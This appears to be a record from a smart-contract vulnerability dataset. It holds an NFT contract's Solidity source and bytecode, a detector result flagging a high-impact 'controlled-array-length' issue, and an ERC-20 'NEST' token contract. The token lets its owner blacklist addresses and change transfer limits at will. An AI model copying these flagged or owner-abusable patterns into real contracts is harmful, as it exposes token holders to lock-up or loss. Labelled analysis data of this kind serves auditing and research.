// Event that is emitted when a new LyraCouncil token is minted
event Mint(uint256 indexed tokenId, address to);
// Event that is emitted when an existing LyraCouncil token is burned
event Burn(uint256 indexed tokenId);
// Event that is emitted when an existing LyraCouncil token is Transferred
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
// Event that is emitted when an existing LyraCouncil token's uri is altered
event TokenURISet(uint256 tokenId, string tokenURI);
// Array of token ids
uint256[] public tokens;
// Map between an owner and their tokens
mapping(address => uint256) public tokenOwned;
// Maps a token to the owner address
mapping(uint256 => address) public ownerOf;
// Optional mapping for token URIs
mapping(uint256 => string) private tokenURIs;
// Token name
string public name;
// Token symbol
string public symbol;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
* @param _name the name of the token
* @param _symbol the symbol of the token
*/
constructor(string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
}
/**
* @dev Modifier to check that an address is not the "0" address
* @param to address the address to check
*/
modifier isValidAddress(address to) {
require(to != address(0), "Method called with the zero address");
_;
}
/**
* @dev Function to retrieve whether an address owns a token
* @param owner address the address to check the balance of
*/
function balanceOf(address owner) public view isValidAddress(owner) returns (uint256) {
return tokenOwned[owner] > 0 ? 1 : 0;
}
/**
* @dev Transfer function to assign a token to another address
* Reverts if the address already owns a token
* @param from address the address that currently owns the token
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to transfer
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public isValidAddress(to) isValidAddress(from) onlyOwner {
require(tokenOwned[to] == 0, "Destination address already owns a token");
require(ownerOf[tokenId] == from, "From address does not own token");
tokenOwned[from] = 0;
tokenOwned[to] = tokenId;
ownerOf[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Mint function to mint a new token given a tokenId and assign it to an address
* Reverts if the tokenId is 0 or the token already exist
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to mint
*/
function mint(address to, uint256 tokenId) public onlyOwner isValidAddress(to) {
_mint(to, tokenId);
}
/**
* @dev Mint function to mint a new token given a tokenId and assign it to an address
* Reverts if the tokenId is 0 or the token already exist
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to mint
*/
function mintWithTokenURI(
address to,
uint256 tokenId,
string memory uri
) public onlyOwner isValidAddress(to) {
require(bytes(uri).length > 0, "URI must be supplied");
_mint(to, tokenId);
tokenURIs[tokenId] = uri;
emit TokenURISet(tokenId, uri);
}
function _mint(address to, uint256 tokenId) private {
require(tokenOwned[to] == 0, "Destination address already owns a token");
require(ownerOf[tokenId] == address(0), "ERC721: token already minted");
require(tokenId != 0, "Token ID must be greater than 0");
tokens.push(tokenId);
tokenOwned[to] = tokenId;
ownerOf[tokenId] = to;
emit Transfer(address(0), to, tokenId);
emit Mint(tokenId, to);
}
/**
* @dev Burn function to remove a given tokenId
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to burn
*/
function burn(uint256 tokenId) public onlyOwner {
address previousOwner = ownerOf[tokenId];
require(previousOwner != address(0), "ERC721: token does not exist");
delete tokenOwned[previousOwner];
delete ownerOf[tokenId];
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i] == tokenId) {
tokens[i] = tokens[tokens.length - 1];
break;
}
}
tokens.pop();
if (bytes(tokenURIs[tokenId]).length != 0) {
delete tokenURIs[tokenId];
}
emit Burn(tokenId);
}
/**
* @dev Function to get the total supply of tokens currently available
*/
function totalSupply() public view returns (uint256) {
return tokens.length;
}
/**
* @dev Function to get the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to retrieve the uri for
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(ownerOf[tokenId] != address(0), "ERC721: token does not exist");
string memory _tokenURI = tokenURIs[tokenId];
return _tokenURI;
}
/**
* @dev Function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function setTokenURI(uint256 tokenId, string memory uri) public onlyOwner {
require(ownerOf[tokenId] != address(0), "ERC721: token does not exist");
tokenURIs[tokenId] = uri;
emit TokenURISet(tokenId, uri);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636352211e116100a25780638f32d59b116100715780638f32d59b146105a157806395d89b41146105c3578063966595dc14610646578063c87b56dd1461069e578063f2fde38b146107455761010b565b80636352211e1461048757806370a08231146104f5578063715018a61461054d5780638da5cb5b146105575761010b565b806340c10f19116100de57806340c10f19146102e457806342966c68146103325780634f64b2be1461036057806350bb4e7f146103a25761010b565b806306fdde0314610110578063162094c41461019357806318160ddd1461025857806323b872dd14610276575b600080fd5b610118610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610256600480360360408110156101a957600080fd5b8101908080359060200190929190803590602001906401000000008111156101d057600080fd5b8201836020820111156101e257600080fd5b8035906020019184600183028401116401000000008311171561020457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610827565b005b610260610a47565b6040518082815260200191505060405180910390f35b6102e26004803603606081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b005b610330600480360360408110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e85565b005b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610f95565b005b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050611282565b6040518082815260200191505060405180910390f35b610485600480360360608110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103ff57600080fd5b82018360208201111561041157600080fd5b8035906020019184600183028401116401000000008311171561043357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506112a3565b005b6104b36004803603602081101561049d57600080fd5b81019080803590602001909291905050506114f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105376004803603602081101561050b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152a565b6040518082815260200191505060405180910390f35b61055561160f565b005b61055f611748565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a9611771565b604051808215151515815260200191505060405180910390f35b6105cb6117c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561060b5780820151818401526020810190506105f0565b50505050905090810190601f1680156106385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106886004803603602081101561065c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611866565b6040518082815260200191505060405180910390f35b6106ca600480360360208110156106b457600080fd5b810190808035906020019092919050505061187e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070a5780820151818401526020810190506106ef565b50505050905090810190601f1680156107375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107876004803603602081101561075b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0f565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b61082f611771565b6108a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b8060046000848152602001908152602001600020908051906020019061099e929190611f43565b507fda84ca2183491f179a603e877b2cb058e42195041c2b9c53d746427e519a34df82826040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a085780820151818401526020810190506109ed565b50505050905090810190601f168015610a355780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6000600180549050905090565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610adb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b610b6a611771565b610bdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061207a6028913960400191505060405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f46726f6d206164647265737320646f6573206e6f74206f776e20746f6b656e0081525060200191505060405180910390fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836003600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050505050565b610e8d611771565b610eff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b610f908383611a95565b505050565b610f9d611771565b61100f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090556003600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560008090505b6001805490508110156111e057826001828154811061118457fe5b906000526020600020015414156111d357600180808054905003815481106111a857fe5b9060005260206000200154600182815481106111c057fe5b90600052602060002001819055506111e0565b8080600101915050611169565b5060018054806111ec57fe5b6001900381819060005260206000200160009055905560006004600084815260200190815260200160002080546001816001161561010002031660029004905014611251576004600083815260200190815260200160002060006112509190611fc3565b5b817fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb60405160405180910390a25050565b6001818154811061128f57fe5b906000526020600020016000915090505481565b6112ab611771565b61131d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b600082511161141b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f555249206d75737420626520737570706c69656400000000000000000000000081525060200191505060405180910390fd5b6114258484611a95565b8160046000858152602001908152602001600020908051906020019061144c929190611f43565b507fda84ca2183491f179a603e877b2cb058e42195041c2b9c53d746427e519a34df83836040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114b657808201518184015260208101905061149b565b50505050905090810190601f1680156114e35780820380516001836020036101000a031916815260200191505b50935050505060405180910390a150505050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611601576000611604565b60015b60ff16915050919050565b611617611771565b611689576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561185e5780601f106118335761010080835404028352916020019161185e565b820191906000526020600020905b81548152906001019060200180831161184157829003601f168201915b505050505081565b60026020528060005260406000206000915090505481565b6060600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b6060600460008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119ff5780601f106119d4576101008083540402835291602001916119ff565b820191906000526020600020905b8154815290600101906020018083116119e257829003601f168201915b5050505050905080915050919050565b611a17611771565b611a89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a9281611dff565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611b2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061207a6028913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b6000811415611c79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e204944206d7573742062652067726561746572207468616e20300081525060200191505060405180910390fd5b600181908060018154018082558091505090600182039060005260206000200160009091929091909150555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4807ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010283604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120316026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f8457805160ff1916838001178555611fb2565b82800160010185558215611fb2579182015b82811115611fb1578251825591602001919060010190611f96565b5b509050611fbf919061200b565b5090565b50805460018160011615610100020316600290046000825580601f10611fe95750612008565b601f016020900490600052602060002090810190612007919061200b565b5b50565b61202d91905b80821115612029576000816000905550600101612011565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6574686f642063616c6c6564207769746820746865207a65726f206164647265737344657374696e6174696f6e206164647265737320616c7265616479206f776e73206120746f6b656ea265627a7a723158202cb6defce996f4881f8a7a6e2cbbe8452a6d8f33ede037414c01a59051570d2b64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,172 |
0xe0b95a38fdd4dca00a08c93a174930f1458573b3
|
/**
For Every Bird a Nest
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NEST is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 1;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "NEST";
string private constant _symbol = "NEST";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 9_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 20_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
